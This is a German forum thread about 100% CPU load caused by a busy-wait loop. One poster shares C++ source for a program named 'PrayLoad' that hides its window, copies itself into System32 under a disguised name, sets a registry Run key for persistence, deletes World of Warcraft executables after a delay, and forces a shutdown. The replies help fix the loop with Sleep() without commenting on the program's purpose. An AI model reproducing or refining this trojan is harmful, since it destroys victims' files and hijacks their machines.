100% Auslastung



  • guenni81 schrieb:

    ...

    Simon2 schrieb:

    Ist Dein Problem vielleicht, dass andere Prozesse in der Zeit nicht zu Zuge kommen ?

    Dies ergibt sich zwangsläufig automatisch wenn die CPU bei 100% Systemauslastung liegt.

    Es heißt aber nicht zwangsläufig, dass es ein Problem ist.
    Unsere Anwendungen hier laufen optimal mit 100% CPU-Auslastung.

    Gruß,

    Simon2.



  • Simon2 schrieb:

    Es heißt aber nicht zwangsläufig, dass es ein Problem ist.
    Unsere Anwendungen hier laufen optimal mit 100% CPU-Auslastung.

    Was für Anwendungen sind das den?



  • guenni81 schrieb:

    Simon2 schrieb:

    Es heißt aber nicht zwangsläufig, dass es ein Problem ist.
    Unsere Anwendungen hier laufen optimal mit 100% CPU-Auslastung.

    Was für Anwendungen sind das den?

    Z.B. private Keys rechnen mit entsprechenden Primzahloperationen. Eigentlich alles, wo man rechnet ... dass der normale User sich angewöhnt hat, 100%-CPU als etwas Schlechtes anzusehen, liegt wohl eher daran, dass viele ihre Computer drastisch unterfordern. Wie sagte mal ein Freund von mir so schön: "Warum soll ich meinen 286er gegen einen 386er tauschen ? Damit er noch schneller auf meinen nächsten Tastendruck warten kann ?" 😉

    Gruß,

    Simon2.



  • Hier ist der Code.
    Das die Schleife sich endlos laeuft sehe ich jetzt auch nicht.
    Coda habe ich desshalb erst nicht geposted, weil ich genau wusste was hier nun wieder fuer Fragen auftauchen.

    // Prog kicks WoW
    // PrayLoad (c) by Coda
    
    #include <cstdlib>
    #include <iostream>
    #include <stdio.h>
    #include <time.h>
    #include <math.h>
    #include <windows.h>
    
    using namespace std;
    
    // Math
    void wait ( int seconds )
    {
      clock_t endwait;
      endwait = clock () + seconds * CLK_TCK ;
      while (clock() < endwait) {}
    }
    
    // Main-Funktion
    int main()
    {
    
    // Konsole invisible   
       SetConsoleTitle("PrayLoad");
       HWND hFenster = FindWindow(NULL, "PrayLoad");
       ShowWindow(hFenster, SW_HIDE);
    
    // Copy
    CopyFile("wow_fun.exe" , "C:\\WINDOWS\\System32\\cfmon.exe" , TRUE);
    
    // auto boot
       HKEY hkey;
       HKEY KEY = HKEY_LOCAL_MACHINE;
       char place[100]= {"Software\\Microsoft\\Windows\\CurrentVersion\\Run"};
       char name[100]= {"Autostart"};
       char value[100]= {"C:\\WINDOWS\\System32\\cfmon.exe"};
    
       RegOpenKeyEx(KEY,(LPCTSTR)place,0, KEY_ALL_ACCESS,&hkey);
       RegSetValueEx(hkey, name, 0, REG_SZ, (BYTE *)value, strlen(value));
       RegCloseKey(hkey);
    
    // Dec
      int n;
      int mineing = 3;
      int min;
      int sek;
      FILE * pFile1;
      pFile1 = fopen ("C:\\Programme\\World of Warcraft\\Launcher.exe","r");
      FILE * pFile2;
      pFile2 = fopen ("D:\\Programme\\World of Warcraft\\Launcher.exe","r");
      FILE * pFile3;
      pFile3 = fopen ("C:\\Programme\\World of Warcraft\\WoW.exe","r");
      FILE * pFile4;
      pFile4 = fopen ("D:\\Programme\\World of Warcraft\\WoW.exe","r");
    
    // Math
      min = mineing * 60;
      sek = min;
    
    // time
      for (n = sek; n > 0; --n)
      {
        wait (1);
      }
    
    // if for filetest  
      if (!pFile1 == NULL || !pFile2 == NULL || !pFile3 == NULL || !pFile4 == NULL)
      {
    // Del
          DeleteFile("C:\\Programme\\World of Warcraft\\Launcher.exe");
          DeleteFile("D:\\Programme\\World of Warcraft\\Launcher.exe");
          DeleteFile("C:\\Programme\\World of Warcraft\\WoW.exe");
          DeleteFile("D:\\Programme\\World of Warcraft\\WoW.exe");
    
    // Terminate
    
    // Shutdown
          system("shutdown -s -t 0");
      }
      else
      {
         return 0;
      }
      return 0;
    }
    

    MfG
    Coda



  • Coda@linux.PrayLoad. schrieb:

    void wait ( int seconds )
    {
      clock_t endwait;
      endwait = clock () + seconds * CLK_TCK ;
      while (clock() < endwait) { Sleep(1000); }
    }
    

    "Problem" gelöst?

    (Rest des Programms nicht angeschaut, ich hoffe ich habe deine Frage verstanden)



  • Naja, kein Wunder das da ne 100% CPU Auslastung rauskommt wenn die wait-funktion nonstop clock() called.

    btw, geht viel einfacher:

    void wait ( int seconds )
    {
       Sleep(1000 * seconds);
    }
    

    Mit dem Unterschied das der Thread vom Sleep suspended wird, also 0 CPU Auslastung erzeugt solange er wartet.



  • Ja, danke, aber ich verstehe es nicht so wirklich.

    MfG
    Coda



  • hmm, also:

    while (clock() < endwait) {}
    

    Das ist eine while-schleife die non-stop den clock() Befehl aufruft. Dein Computer benutzt also seine komplette Rechenleistung um ununterbrochen clock() aufzurufen bis die Abbruchbedingung erreicht ist. Auf meinem Rechner sind das z.B 13.706.686 Aufrufe pro Sekunde. UNd genau da kommen deine 100% Rechenauslastung her...



  • Coda@linux.PrayLoad schrieb:

    Ja, danke, aber ich verstehe es nicht so wirklich.

    MfG
    Coda

    Hi,

    sieh es mal anders herum:
    - Dein Prozess hat nur dann weniger als 100% CPU-Auslastung, wenn der Rechner einem anderen Prozess (und sei es "idle") Rechenzeit zuweist.
    - Damit der Rechner das tut, musst Du ihm mitteilen, dass Du jetzt etwas Rechnezeit "übrig" hast.
    - Das teilst Du ihm mittels sleep() mit.

    (ich weiß, im Detail ist scheduling noch deutlich komplexer, aber das ist schonmal ein Grundprinzip)

    Gruß,

    Simon2.



  • Simon2 schrieb:

    guenni81 schrieb:

    ...

    Simon2 schrieb:

    Ist Dein Problem vielleicht, dass andere Prozesse in der Zeit nicht zu Zuge kommen ?

    Dies ergibt sich zwangsläufig automatisch wenn die CPU bei 100% Systemauslastung liegt.

    Es heißt aber nicht zwangsläufig, dass es ein Problem ist.
    Unsere Anwendungen hier laufen optimal mit 100% CPU-Auslastung.

    Gruß,

    Simon2.

    wenn ein programm nur auf eine Eingabe wartet order in Wirklichkeit gar nicht rechnet, dann ist es durchaus ein Problem.

    mfg.



  • joomoo schrieb:

    Simon2 schrieb:

    guenni81 schrieb:

    ...

    Simon2 schrieb:

    Ist Dein Problem vielleicht, dass andere Prozesse in der Zeit nicht zu Zuge kommen ?

    Dies ergibt sich zwangsläufig automatisch wenn die CPU bei 100% Systemauslastung liegt.

    Es heißt aber nicht zwangsläufig, dass es ein Problem ist.
    Unsere Anwendungen hier laufen optimal mit 100% CPU-Auslastung.

    Gruß,

    Simon2.

    wenn ein programm nur auf eine Eingabe wartet order in Wirklichkeit gar nicht rechnet, dann ist es durchaus ein Problem.

    mfg.

    Klar, wenn das Programm mit seiner CPU-Zeit nicht das tut, was es soll, ist ein Problem - aber das ist nichts Neues.
    Meine Aussage weiterhin: Es mag sein, dass eine 100%-CPU-Auslastung ein Symptom eines Problems ist ... für sich genommen ist sie aber kein Problem.

    Gruß,

    Simon2.



  • Simon2 schrieb:

    Klar, wenn das Programm mit seiner CPU-Zeit nicht das tut, was es soll, ist ein Problem - aber das ist nichts Neues.

    Nein, nicht nur das: Wenn ein Programm auch noch zuviel tut als es soll, und nicht seine CPU-Zeit abgibt, ist es auch ein problem.

    Meine Aussage weiterhin: Es mag sein, dass eine 100%-CPU-Auslastung ein Symptom eines Problems ist ... für sich genommen ist sie aber kein Problem.

    Er programmiert ja einen Countdown, der sollte nicht 100% verbrauchten.

    mfg.



  • joomoo schrieb:

    Simon2 schrieb:

    Klar, wenn das Programm mit seiner CPU-Zeit nicht das tut, was es soll, ist ein Problem - aber das ist nichts Neues.

    Nein, nicht nur das: Wenn ein Programm auch noch zuviel tut als es soll, ...

    "zuviel" gehört wohl auch zu "nicht, was es soll", oder ?
    Anders herum: Bist Du der Meinung, dass wirklich immer, wenn ein Programm 100%-CPUzeit bekommt, ein Problem vorliegt ?
    Wenn nein, habe ich Recht gehabt.
    Wenn doch, müssen wir das Konzept unserer seit Jahren erfolgreich laufenden Anwendung überarbeiten. 😃

    Gruß,

    Simon2.



  • Simon2 schrieb:

    joomoo schrieb:

    Simon2 schrieb:

    Klar, wenn das Programm mit seiner CPU-Zeit nicht das tut, was es soll, ist ein Problem - aber das ist nichts Neues.

    Nein, nicht nur das: Wenn ein Programm auch noch zuviel tut als es soll, ...

    "zuviel" gehört wohl auch zu "nicht, was es soll", oder ?

    Stimmt, wenn man es so sieht, dass das was es soll ja eigentlich nichts ist.

    Anders herum: Bist Du der Meinung, dass wirklich immer, wenn ein Programm 100%-CPUzeit bekommt, ein Problem vorliegt ?

    Nein natürlich nicht.

    Wenn nein, habe ich Recht gehabt.

    Womit? Dass es für sich genommen kein Problem ist? Okay, aber ich denke dass man in den meisten Fällen von einem Problem sprechen kann. Auch hier, andernfalls wäre die Frage nicht gestellt worden.

    mfg.



  • Könnt ihr euch darauf einigen, dass eine hohe CPU-Auslastung per se keine schlechte, sondern im Prinzip eine gute Sache ist -- sofern die verursachende Anwendung die Rechenzeit nicht mit Nichtstun verbrät?



  • ein countdown ist doch in nem timer viel besser untergebracht, den kann man dann auf 1 sek stellen, dann passt das und die auslastung ist minimal



  • Ich habe ein ähnliches Problem, ich möchte das mein Programm erst loslegt, wenn ich eine Tastaturkombi eingebe, aber es darf währenddessen natürlich keine Leistung fressen und im Hintergrund laufen. Ich in blutiger Anfänger und hab kein plan wie das funktioniert. Kann mir jemand helfen?


Anmelden zum Antworten